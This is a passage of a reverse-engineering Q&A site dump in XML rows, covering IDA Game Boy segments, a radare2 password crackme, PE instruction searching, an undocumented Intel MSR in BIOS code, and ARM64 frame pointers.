  <row Id="22229" PostTypeId="1" CreationDate="2019-10-02T21:49:33.600" Score="3" ViewCount="298" Body="&lt;p&gt;For context: I'm using IDA to reverse engineer Gameboy code. I'm using &lt;a href=&quot;https://gist.github.com/LIJI32/3cf3d2b55461ab8e38ca8e3dc0a6464f&quot; rel=&quot;nofollow noreferrer&quot;&gt;this Gameboy loader&lt;/a&gt; to load files. The Gameboy has a 16 bit address space, where addresses $0-$3FFF always point to a fixed portion of ROM in the ROM image, called the home bank, whereas $4000-$7FFF points to a selectable ROM bank. The loader in question emulates this by mapping the 16-bit address space to a virtual memory space where each memory is in a separate segment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, so good. When code in the home bank is calling code in one of the selectable banks, I press alt-R to choose a segment for the target. This is unavoidable since IDA can't know automatically which segment the target is in. However, since the home bank is fixed, I would like to set up IDA in such a way that it automatically understands that all jumps to the area $0-$3FFF area end up in segment 0, without needing to manually assign addresses. $0-$3FFF in the virtual memory space always unambiguously refers to $0-$3FFF in the linear memory space. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="3775" LastActivityDate="2019-10-02T21:49:33.600" Title="Telling IDA that all references to an address range belong to the same segment" Tags="|ida|memory|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22230" PostTypeId="2" ParentId="21802" CreationDate="2019-10-03T05:05:53.517" Score="1" Body="&lt;p&gt;You just need a compiler like &lt;code&gt;gcc&lt;/code&gt; and &lt;code&gt;debug&lt;/code&gt; or static analysis to understanding the code doing&lt;/p&gt;&#xA;" OwnerUserId="14199" LastActivityDate="2019-10-03T05:05:53.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22231" PostTypeId="1" CreationDate="2019-10-03T05:39:29.180" Score="2" ViewCount="174" Body="&lt;p&gt;I am looking for a few malware samples that detects sandboxes using uncommon API calls. I understand that one of the drawbacks of OS emulated sandboxes is that the malware can use uncommon API calls to crash the emulator/sandboxes. Does anyone know of such samples? It would be great if different samples asking for different APIs could be supplied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="29776" LastEditorUserId="29776" LastEditDate="2019-10-03T05:47:42.630" LastActivityDate="2019-10-03T14:46:34.030" Title="Malware Samples that defeats emulators by using uncommon API calls" Tags="|malware|emulation|sandbox|" AnswerCount="2" CommentCount="2" ClosedDate="2019-10-25T15:39:04.520" ContentLicense="CC BY-SA 4.0" />
  <row Id="22232" PostTypeId="2" ParentId="22231" CreationDate="2019-10-03T09:43:30.093" Score="0" Body="&lt;p&gt;I don't have any experience with this directly, so take it with a grain of salt. If you take a look at what Sandboxie does, on top of their driver they also have a huge number of ring3 hooks on WinAPI. There are also lots of other things to check for, even as simple as their module being loaded. Point being that I don't think an individual example will really do much good because there are so many countless ways to detect it. The same goes for other sandbox emulation, VM's, etc.&lt;/p&gt;&#xA;" OwnerUserId="29598" LastActivityDate="2019-10-03T09:43:30.093" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22234" PostTypeId="2" ParentId="22231" CreationDate="2019-10-03T14:46:34.030" Score="0" Body="&lt;p&gt;I don't have the samples but here's the report on the malware which does sandbox detection: &lt;a href=&quot;https://www.root9b.com/sites/default/files/whitepapers/PoS%20Malware%20ShellTea%20PoSlurp_1.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.root9b.com/sites/default/files/whitepapers/PoS%20Malware%20ShellTea%20PoSlurp_1.pdf&lt;/a&gt; so that you can be more specific in your samples search.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2019-10-03T14:46:34.030" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22235" PostTypeId="1" AcceptedAnswerId="22238" CreationDate="2019-10-03T15:21:52.943" Score="0" ViewCount="706" Body="&lt;pre&gt;&lt;code&gt;                                                              .--------------------------------------------------.&#xA;                                                              | [0x804851b]                                      |&#xA;                                                              | (fcn) main 522                                   |&#xA;                                                              |   int main (int argc, char **argv, char **envp); |&#xA;                                                              | ; var int32_t var_38h @ ebp-0x38                 |&#xA;                                                              | ; var int32_t var_34h @ ebp-0x34                 |&#xA;                                                              | ; var int32_t var_30h @ ebp-0x30                 |&#xA;                                                              | ; var int32_t var_2ch @ ebp-0x2c                 |&#xA;                                                              | ; var int32_t var_28h @ ebp-0x28                 |&#xA;                                                              | ; var int32_t var_24h @ ebp-0x24                 |&#xA;                                                              | ; var int32_t var_ch @ ebp-0xc                   |&#xA;                                                              | ; var int32_t var_8h @ ebp-0x8                   |&#xA;                                                              | ; arg int32_t arg_4h @ esp+0x4                   |&#xA;                                                              | ; DATA XREF from entry0 @ 0x8048437              |&#xA;                                                              | lea ecx, [arg_4h]                                |&#xA;                                                              | and esp, 0xfffffff0                              |&#xA;                                                              | push dword [ecx - 4]                             |&#xA;                                                              | push ebp                                         |&#xA;                                                              | mov ebp, esp                                     |&#xA;                                                              | push ebx                                         |&#xA;                                                              | push ecx                                         |&#xA;                                                              | sub esp, 0x30                                    |&#xA;                                                              | mov eax, dword gs:[0x14]                         |&#xA;                                                              | mov dword [var_ch], eax                          |&#xA;                                                              | xor eax, eax                                     |&#xA;                                                              | mov dword [var_2ch], 0                           |&#xA;                                                              | mov dword [var_38h], 0                           |&#xA;                                                              | mov dword [var_34h], 1                           |&#xA;                                                              | sub esp, 0xc                                     |&#xA;                                                              | ; 0x80487d0                                      |&#xA;                                                              | ; &quot;Enter the password: &quot;                         |&#xA;                                                              | push str.Enter_the_password:                     |&#xA;                                                              | ; int printf(const char *format)                 |&#xA;                                                              | call sym.imp.printf;[oa]                         |&#xA;                                                              | add esp, 0x10                                    |&#xA;                                                              | sub esp, 4                                       |&#xA;                                                              | lea eax, [var_24h]                               |&#xA;                                                              | ; 20                                             |&#xA;                                                              | add eax, 0x14                                    |&#xA;                                                              | push eax                                         |&#xA;                                                              | lea eax, [var_24h]                               |&#xA;                                                              | ; 16                                             |&#xA;                                                              | add eax, 0x10                                    |&#xA;                                                              | push eax                                         |&#xA;                                                              | lea eax, [var_24h]                               |&#xA;                                                              | ; 12                                             |&#xA;                                                              | add eax, 0xc                                     |&#xA;                                                              | push eax                                         |&#xA;                                                              | lea eax, [var_24h]                               |&#xA;                                                              | add eax, 8                                       |&#xA;                                                              | push eax                                         |&#xA;                                                              | lea eax, [var_24h]                               |&#xA;                                                              | add eax, 4                                       |&#xA;                                                              | push eax                                         |&#xA;                                                              | lea eax, [var_24h]                               |&#xA;                                                              | push eax                                         |&#xA;                                                              | ; 0x80487e5                                      |&#xA;                                                              | ; &quot;%d %d %d %d %d %d&quot;                            |&#xA;                                                              | push str.d__d__d__d__d__d                        |&#xA;                                                              | ; int scanf(const char *format)                  |&#xA;                                                              | call sym.imp.__isoc99_scanf;[ob]                 |&#xA;                                                              | add esp, 0x20                                    |&#xA;                                                              | sub esp, 0xc                                     |&#xA;                                                              | ; 8                                              |&#xA;                                                              | push 8                                           |&#xA;                                                              | ;  void *malloc(size_t size)                     |&#xA;                                                              | call sym.imp.malloc;[oc]                         |&#xA;                                                              | add esp, 0x10                                    |&#xA;                                                              | mov dword [var_28h], eax                         |&#xA;                                                              | mov eax, dword [var_28h]                         |&#xA;                                                              | ; [0x16452:4]=-1                                 |&#xA;                                                              | mov dword [eax], 0x16452                         |&#xA;                                                              | sub esp, 0xc                                     |&#xA;                                                              | ; 8                                              |&#xA;                                                              | push 8                                           |&#xA;                                                              | ;  void *malloc(size_t size)                     |&#xA;                                                              | call sym.imp.malloc;[oc]                         |&#xA;                                                              | add esp, 0x10                                    |&#xA;                                                              | mov edx, eax                                     |&#xA;                                                              | mov eax, dword [var_28h]                         |&#xA;                                                              | mov dword [eax + 4], edx                         |&#xA;                                                              | mov eax, dword [var_28h]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | ; [0x16456:4]=-1                                 |&#xA;                                                              | mov dword [eax], 0x16456                         |&#xA;                                                              | mov eax, dword [var_28h]                         |&#xA;                                                              | mov ebx, dword [eax + 4]                         |&#xA;                                                              | sub esp, 0xc                                     |&#xA;                                                              | ; 8                                              |&#xA;                                                              | push 8                                           |&#xA;                                                              | ;  void *malloc(size_t size)                     |&#xA;                                                              | call sym.imp.malloc;[oc]                         |&#xA;                                                              | add esp, 0x10                                    |&#xA;                                                              | mov dword [ebx + 4], eax                         |&#xA;                                                              | mov eax, dword [var_28h]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | ; [0x1645d:4]=-1                                 |&#xA;                                                              | mov dword [eax], 0x1645d                         |&#xA;                                                              | mov eax, dword [var_28h]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov ebx, dword [eax + 4]                         |&#xA;                                                              | sub esp, 0xc                                     |&#xA;                                                              | ; 8                                              |&#xA;                                                              | push 8                                           |&#xA;                                                              | ;  void *malloc(size_t size)                     |&#xA;                                                              | call sym.imp.malloc;[oc]                         |&#xA;                                                              | add esp, 0x10                                    |&#xA;                                                              | mov dword [ebx + 4], eax                         |&#xA;                                                              | mov eax, dword [var_28h]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | ; [0x1645e:4]=-1                                 |&#xA;                                                              | mov dword [eax], 0x1645e                         |&#xA;                                                              | mov eax, dword [var_28h]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov ebx, dword [eax + 4]                         |&#xA;                                                              | sub esp, 0xc                                     |&#xA;                                                              | ; 8                                              |&#xA;                                                              | push 8                                           |&#xA;                                                              | ;  void *malloc(size_t size)                     |&#xA;                                                              | call sym.imp.malloc;[oc]                         |&#xA;                                                              | add esp, 0x10                                    |&#xA;                                                              | mov dword [ebx + 4], eax                         |&#xA;                                                              | mov eax, dword [var_28h]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | ; [0x16465:4]=-1                                 |&#xA;                                                              | mov dword [eax], 0x16465                         |&#xA;                                                              | mov eax, dword [var_28h]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov ebx, dword [eax + 4]                         |&#xA;                                                              | sub esp, 0xc                                     |&#xA;                                                              | ; 8                                              |&#xA;                                                              | push 8                                           |&#xA;                                                              | ;  void *malloc(size_t size)                     |&#xA;                                                              | call sym.imp.malloc;[oc]                         |&#xA;                                                              | add esp, 0x10                                    |&#xA;                                                              | mov dword [ebx + 4], eax                         |&#xA;                                                              | mov eax, dword [var_28h]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | ; [0xfffe9bf8:4]=-1                              |&#xA;                                                              | mov dword [eax], 0xfffe9bf8                      |&#xA;                                                              | mov eax, dword [var_28h]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov eax, dword [eax + 4]                         |&#xA;                                                              | mov dword [eax + 4], 0                           |&#xA;                                                              | mov eax, dword [var_28h]                         |&#xA;                                                              | mov dword [var_30h], eax                         |&#xA;                                                              | jmp 0x80486d7                                    |&#xA;                                                              `--------------------------------------------------'&#xA;                                                                  v&#xA;                                                                  |&#xA;                                                                  '---------.&#xA;                                     .----------------------------------------.&#xA;                                     |                                      | |&#xA;                                     |                                .-----------------------------------.&#xA;                                     |                                |  0x80486d7 [oi]                   |&#xA;                                     |                                | ; CODE XREF from main @ 0x80486a5 |&#xA;                                     |                                | cmp dword [var_30h], 0            |&#xA;                                     |                                | jne 0x80486a7                     |&#xA;                                     |                                `-----------------------------------'&#xA;                                     |                                      t f&#xA;                                     |                                      | |&#xA;                                     |    .---------------------------------' |&#xA;                                     |    |                                   '-----------------------------.&#xA;                                     |    |                                                                 |&#xA;                                     |.----------------------------------------.                        .---------------------------.&#xA;                                     ||  0x80486a7 [of]                        |                        |  0x80486dd [oj]           |&#xA;                                     || mov eax, dword [var_30h]               |                        | cmp dword [var_34h], 0    |&#xA;                                     || mov ebx, dword [eax]                   |                        | je 0x80486f5              |&#xA;                                     || mov eax, dword [var_38h]               |                        `---------------------------'&#xA;                                     || mov eax, dword [ebp + eax*4 - 0x24]    |                                f t&#xA;                                     || sub esp, 0xc                           |                                | |&#xA;                                     || push eax                               |                                | |&#xA;                                     || call sym.encrypt;[oe]                  |                                | |&#xA;                                     || add esp, 0x10                          |                                | |&#xA;                                     || cmp ebx, eax                           |                                | |&#xA;                                     || je 0x80486ca                           |                                | |&#xA;                                     |`----------------------------------------'                                | |&#xA;                                     |        f t                                                               | |&#xA;                                     |        | |                                                               | |&#xA;                                     |        | '-------------------------------.                               | |&#xA;                                     |        '--.                              |                               | |&#xA;                                     |           |                              |                               | '---------.&#xA;                                     |           |                              |           .-------------------'           |&#xA;                                     |           |                              |           |                               |&#xA;                                     |       .---------------------------.      |       .---------------------------.   .---------------------------.&#xA;                                     |       |  0x80486c3 [og]           |      |       |  0x80486e3 [ol]           |   |  0x80486f5 [om]           |&#xA;                                     |       | mov dword [var_34h], 0    |      |       | sub esp, 0xc              |   | sub esp, 0xc              |&#xA;                                     |       `---------------------------'      |       | ; 0x80487f7               |   | ; 0x8048800               |&#xA;                                     |           v                              |       | ; &quot;Correct!&quot;              |   | ; &quot;Incorrect!&quot;            |&#xA;                                     |           |                              |       | push str.Correct          |   | push str.Incorrect        |&#xA;                                     |           |                              |       | ; int puts(const char *s) |   | ; int puts(const char *s) |&#xA;                                     |           |                              |       | call sym.imp.puts;[ok]    |   | call sym.imp.puts;[ok]    |&#xA;                                     |           |                              |       | add esp, 0x10             |   | add esp, 0x10             |&#xA;                                     |           |                              |       | jmp 0x8048705             |   `---------------------------'&#xA;                                     |           |                              |       `---------------------------'       v&#xA;                                     |           |                              |           v                               |&#xA;                                     |           |                              |           |                               |&#xA;                                     |           '----------.                   |           |                               |&#xA;                                     |                      |                   |           '-------------.                 |&#xA;                                     |                      |                   |                         | .---------------'&#xA;                                     |                      | .-----------------'                         | |&#xA;                                     |                      | |                                           | |&#xA;                                     |                .-----------------------------.               .-----------------------------------.&#xA;                                     |                |  0x80486ca [oh]             |               |  0x8048705 [on]                   |&#xA;                                     |                | add dword [var_38h], 1      |               | ; CODE XREF from main @ 0x80486f3 |&#xA;                                     |                | mov eax, dword [var_30h]    |               | mov eax, 0                        |&#xA;                                     |                | mov eax, dword [eax + 4]    |               | mov ecx, dword [var_ch]           |&#xA;                                     |                | mov dword [var_30h], eax    |               | xor ecx, dword gs:[0x14]          |&#xA;                                     |                `-----------------------------'               | je 0x804871b                      |&#xA;                                     |                    v                                         `-----------------------------------'&#xA;                                     |                    |                                                 f t&#xA;                                     |                    |                                                 | |&#xA;                                     `--------------------'                                                 | |&#xA;                                                                                                            | '-----------------.&#xA;                                                                                      .---------------------'                   |&#xA;                                                                                      |                                         |&#xA;                                                                                  .------------------------------------.    .-----------------------.&#xA;                                                                                  |  0x8048716 [op]                    |    |  0x804871b [oq]       |&#xA;                                                                                  | ; void __stack_chk_fail(void)      |    | lea esp, [var_8h]     |&#xA;                                                                                  | call sym.imp.__stack_chk_fail;[oo] |    | pop ecx               |&#xA;                                                                                  `------------------------------------'    | pop ebx               |&#xA;                                                                                                                            | pop ebp               |&#xA;                                                                                                                            | lea esp, [ecx - 4]    |&#xA;                                                                                                                            | ret                   |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to decrypt the password from &quot;call sym.encrypt;[oe]&quot;. When I use the breakpoints (radare2) the hex values of the registers are encrypted (i need the value of ebx shown in the image).And what is the significance of the malloc function? Is there non primitive data structure used in this program?&lt;/p&gt;&#xA;" OwnerDisplayName="user29687" LastEditorUserId="-1" LastEditDate="2019-11-06T20:15:53.133" LastActivityDate="2019-11-06T20:15:53.133" Title="How to decrypt the password using radare2 or gdb?" Tags="|ida|disassembly|radare2|gdb|decryption|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22236" PostTypeId="1" AcceptedAnswerId="22237" CreationDate="2019-10-03T16:42:53.953" Score="2" ViewCount="670" Body="&lt;p&gt;English is not my first language, so I'm sorry if my text isn't so clear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to program an automatic patcher for a PE binary that should work for multiple versions of this executable. For that to work, I need to find the bytes of the instruction which references a specific static string. I need to find the bytes in file for the LEA instruction highlighted in red below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VLt34.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VLt34.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't simply do a pattern search for &quot;48 8D 15 C8 50 DA 00&quot;, because the last four bytes of the opcode change between executable versions, as the string address varies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finding the string offset in the file is pretty easy with an hex editor, and translating that offset into a virtual address is also very straightforward and I got that working already (converting from file offset to VA is yielding the 0x140FDE580 correctly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is actually going from this virtual address into the binary opcode of the LEA address operand (C8 50 DA 00). Since this address is relative to the current instruction position, is there any more optimized way of searching for this instruction other than iterate between each instruction, calculate the distance between EIP and the string VA and see if the current instruction address this VA offset?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="29782" LastEditorUserId="29782" LastEditDate="2019-10-03T17:01:05.403" LastActivityDate="2019-10-11T03:54:33.077" Title="Find a instruction in a binary file (PE) based on a virtual address of a string reference" Tags="|disassembly|windows|executable|x64dbg|patching|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22237" PostTypeId="2" ParentId="22236" CreationDate="2019-10-03T19:29:24.163" Score="2" Body="&lt;p&gt;Searching for RVA as bytes works for x86 code since RVA is encoded directly in the instruction. However, as you noticed, it does not work on x64 where you instead have a &lt;code&gt;RIP&lt;/code&gt;-relative offset which obviously changes depending on the address of the instruction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see any tricks you could use here but I think that unless your binary is multi-gigabyte, a simple brute-force of the &lt;code&gt;.text&lt;/code&gt; section at every byte boundary should be fast enough. If it's still too slow in practice, post your code with explanation to Stack Overflow or Code Golf so other programmers can suggest you ideas on speeding it up.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-10-03T19:29:24.163" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22238" PostTypeId="2" ParentId="22235" CreationDate="2019-10-04T06:04:34.710" Score="1" Body="&lt;p&gt;First of All post only relevant code avoid posting some thing that requires horizontal scrolling&lt;br&gt;&#xA;second do not post images where you can post copy paste-able code &lt;/p&gt;&#xA;&#xA;&lt;p&gt;simplifying the code it is basically &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;printf (&quot;enter your password\n&quot;);&#xA;int a,...; &#xA;scanf(&quot;%d%d%d%%d%%d%d&quot; , &amp;amp;a,...)&#xA;ans1 == encrypt(a) ? &quot;correct&quot; : &quot;incorrect&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where encrypt() is simply a few mathematical operations like add, sub,xor , not on the provided input&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the first integer is 4 (5 more ints need to be solved)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; hex((((~((4 - 0x18)^0x7a69))^0x11e61)^0x37)+0x26)&#xA;'0x16452'  &amp;lt;&amp;lt; this is there in your ebx and others are there in the code you posted&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-10-04T17:59:54.033" LastActivityDate="2019-10-04T17:59:54.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22239" PostTypeId="1" AcceptedAnswerId="22244" CreationDate="2019-10-04T10:51:25.783" Score="5" ViewCount="362" Body="&lt;p&gt;I'm trying to reverse the BIOS of a machine to learn something.&#xA;The bigger problem I'm facing is that during early initialization, the code is making heavy usage of MSRs, and most of the time, I found those not documented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a specific point of this BIOS, as an example, I found this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000F575                    sub_F575        proc near               &#xA;0000F575 60                                 pusha&#xA;0000F576 B8 01 00 00 00                     mov     eax, 1&#xA;0000F57B 0F A2                              cpuid&#xA;0000F57D C1 C8 04                           ror     eax, 4&#xA;0000F580 66 3D 6F 30                        cmp     ax, 306Fh       ; Haswell&#xA;0000F584 74 06                              jz      short HaswellBroadwellStuffs&#xA;0000F586 66 3D 6F 40                        cmp     ax, 406Fh       ; Broadwell&#xA;0000F58A 75 0E                              jnz     short NoNeed4IvyBridge&#xA;0000F58C&#xA;0000F58C                    HaswellBroadwellStuffs:&#xA;0000F58C B9 FC 01 00 00                     mov     ecx, 1FCh&#xA;0000F591 0F 32                              rdmsr&#xA;0000F593 0D 01 00 20 00                     or      eax, 200001h&#xA;0000F598 0F 30                              wrmsr&#xA;0000F59A&#xA;0000F59A                    NoNeed4IvyBridge:&#xA;0000F59A 61                                 popa&#xA;0000F59B E8 02 06 00 00                     call    DummyProc_1&#xA;0000F5A0 C3                                 retn&#xA;0000F5A0                    sub_F575        endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking thorough the &lt;em&gt;Intel 64 and IA-32 Architectures Software Developer’s Manual Volume 4: Model-Specific Registers&lt;/em&gt; I found no evidence this &lt;strong&gt;0x1fc&lt;/strong&gt; register existence for &lt;strong&gt;Haswell&lt;/strong&gt;, &lt;strong&gt;Broadwell&lt;/strong&gt; or &lt;strong&gt;IvyBridge&lt;/strong&gt; this BIOS is for.&#xA;Instead few documentation on this register exists for different Intel versions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;for &lt;strong&gt;Goldmont&lt;/strong&gt;, &lt;strong&gt;Nehalem&lt;/strong&gt;, the register is named &lt;strong&gt;MSR_POWER_CTL&lt;/strong&gt; and only bit #1 is documented&lt;/li&gt;&#xA;&lt;li&gt;for &lt;strong&gt;Sandy Bridge&lt;/strong&gt; is still named &lt;strong&gt;MSR_POWER_CTL&lt;/strong&gt; but no further info are provided, instead it just says refer to &lt;em&gt;&lt;a href=&quot;http://biosbits.org&quot; rel=&quot;noreferrer&quot;&gt;http://biosbits.org&lt;/a&gt;&lt;/em&gt;, where nothing useful was found.&lt;/li&gt;&#xA;&lt;li&gt;for &lt;strong&gt;Skylake&lt;/strong&gt;, &lt;strong&gt;Kaby Lake&lt;/strong&gt;, &lt;strong&gt;Coffee Lake&lt;/strong&gt; and &lt;strong&gt;Cannon Lake&lt;/strong&gt; datasheet is more verbose; is still named &lt;strong&gt;MSR_POWER_CTL&lt;/strong&gt; and the there bits: #1, #20 and #21 descriptions appears, still no evidences for bits #0 and #21 used in this function.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So my question&lt;/strong&gt;: If anyone has info on the register I've mentioned, that would be nice if he/her wants to share with me; more important, I would appreciate if anyone would direct me on a reliable source of info on this topic other than Intel official manuals.&lt;/p&gt;&#xA;" OwnerUserId="17411" LastActivityDate="2023-03-07T15:58:23.730" Title="Undocumented Model-Specific Register on Broadwell Microarchitecture" Tags="|x86-64|bios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22241" PostTypeId="1" AcceptedAnswerId="22243" CreationDate="2019-10-04T13:22:50.943" Score="1" ViewCount="124" Body="&lt;p&gt;I'm investigating an iOS app Mach-O binary in IDA and noticed it's using a fixed constant as an offset to the SP to denote the start of the stack frame instead of a register. Is this normal? ARM already has so many registers at its disposal this seems like a strange optimization. Are the instructions shorter in this case, or what's the purpose of it?&lt;/p&gt;&#xA;" OwnerUserId="25478" LastActivityDate="2019-10-04T17:08:19.010" Title="Mach-O ARM64 using literal values instead of a frame pointer (BP) register" Tags="|arm|ios|mach-o|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22243" PostTypeId="2" ParentId="22241" CreationDate="2019-10-04T17:08:19.010" Score="3" Body="&lt;p&gt;This is not really an RE question but anyway...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On x86, the advantage of using dedicated EBP was that the instructions using it are smaller than those using ESP. It also makes it easier for a compiler (or a human when writing assembly) to track accesses to the stack frame - when using ESP you always need to compensate for every stack pointer adjustment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With recent advances in compiler development many of those reasons do not really apply so there’s less need for a dedicated frame pointer register, especially on platforms like ARM where there’s no real advantage of using it over SP. That said, the frame pointer (X29) &lt;strong&gt;is&lt;/strong&gt; still used. You can usually see it being saved and copied from SP in function prologs, even if it’s not actually referenced in the function’s body. This is done so that there’s a proper chain of stack frames linked by the frame pointers in every function. This eases debugging and stack unwinding in case of exceptions. &#xA;And sometimes it &lt;em&gt;is&lt;/em&gt; used explicitly inside the function, for example when there is a variable adjustment of the stack pointer due to an &lt;code&gt;alloca&lt;/code&gt; or a variable length array. In such situation the compiler &lt;em&gt;has&lt;/em&gt; to use FP or another register to address the variables in the fixed part of the frame since SP offset is not known anymore. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-10-04T17:08:19.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22244" PostTypeId="2" ParentId="22239" CreationDate="2019-10-04T17:39:32.687" Score="3" Body="&lt;p&gt;Details of such low-level registers are often disclosed only to Intel's trusted partners under NDA since they're not intended to be accessed by the general application programmer but only by writers of BIOS or other system-level code. That said, sometimes you can find info in &lt;a href=&quot;https://github.com/tianocore/edk2-platforms/blob/master/Silicon/Intel/PurleyRefreshSiliconPkg/Include/Library/CpuPpmLib.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;unexpected places&lt;/a&gt;...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#define MSR_POWER_CTL                           0x1FC&#xA;#define PCH_NEG_DISABLE                         (1 &amp;lt;&amp;lt; 30)&#xA;#define PCH_NEG_DISABLE_SHIFT                   30&#xA;#define LTR_SW_DISABLE                          (1 &amp;lt;&amp;lt; 29)  //LTR_IIO_DISABLE&#xA;#define LTR_SW_DISABLE_SHIFT                    29&#xA;#define PROCHOT_LOCK                            (1 &amp;lt;&amp;lt; 27)&#xA;#define PROCHOT_LOCK_SHIFT                      27&#xA;#define PROCHOT_RESPONSE                    (1 &amp;lt;&amp;lt; 26)&#xA;#define PROCHOT_RESPONSE_SHIFT              26&#xA;#define PWR_PERF_TUNING_CFG_MODE                (1 &amp;lt;&amp;lt; 25)&#xA;#define PWR_PERF_TUNING_CFG_MODE_SHIFT          25&#xA;#define PWR_PERF_TUNING_ENABLE_DYN_SWITCHING    (1 &amp;lt;&amp;lt; 24)&#xA;#define PWR_PERF_TUNING_ENABLE_DYN_SHIFT        24&#xA;#define PWR_PERF_TUNING_DISABLE_EEP_CTRL        (1 &amp;lt;&amp;lt; 23)&#xA;#define PWR_PERF_TUNING_DISABLE_EEP_SHIFT       23&#xA;#define PWR_PERF_TUNING_DISABLE_SAPM_CTRL       (1 &amp;lt;&amp;lt; 22)&#xA;#define PWR_PERF_TUNING_DISABLE_SAPM_SHIFT      22&#xA;#define DIS_PROCHOT_OUT                         (1 &amp;lt;&amp;lt; 21)&#xA;#define DIS_PROCHOT_OUT_SHIFT                   21&#xA;#define EE_TURBO_DISABLE                    (1 &amp;lt;&amp;lt; 19)&#xA;#define EE_TURBO_DISABLE_SHIFT              19&#xA;#define ENERGY_EFFICIENT_PSTATE_ENABLE          (1 &amp;lt;&amp;lt; 18)&#xA;#define ENERGY_EFFICIENT_PSTATE_ENABLE_SHIFT    18&#xA;#define PHOLD_SR_DISABLE                        (1 &amp;lt;&amp;lt; 17)&#xA;#define PHOLD_SR_DISABLE_SHIFT                  17&#xA;#define PHOLD_CST_PREVENTION_INIT               (1 &amp;lt;&amp;lt; 16)&#xA;#define PHOLD_CST_PREVENTION_INIT_SHIFT         16&#xA;#define FAST_BRK_INT_EN                         (1 &amp;lt;&amp;lt; 4)&#xA;#define FAST_BRK_INT_EN_SHIFT                   4&#xA;#define FAST_BRK_SNP_EN                         (1 &amp;lt;&amp;lt; 3)&#xA;#define FAST_BRK_SNP_EN_SHIFT                   3&#xA;#define SAPM_IMC_C2_POLICY_EN                   (1 &amp;lt;&amp;lt; 2)&#xA;#define SAPM_IMC_C2_POLICY_SHIFT                2&#xA;#define C1E_ENABLE                              (1 &amp;lt;&amp;lt; 1)&#xA;#define C1E_ENABLE_SHIFT                        1&#xA;#define 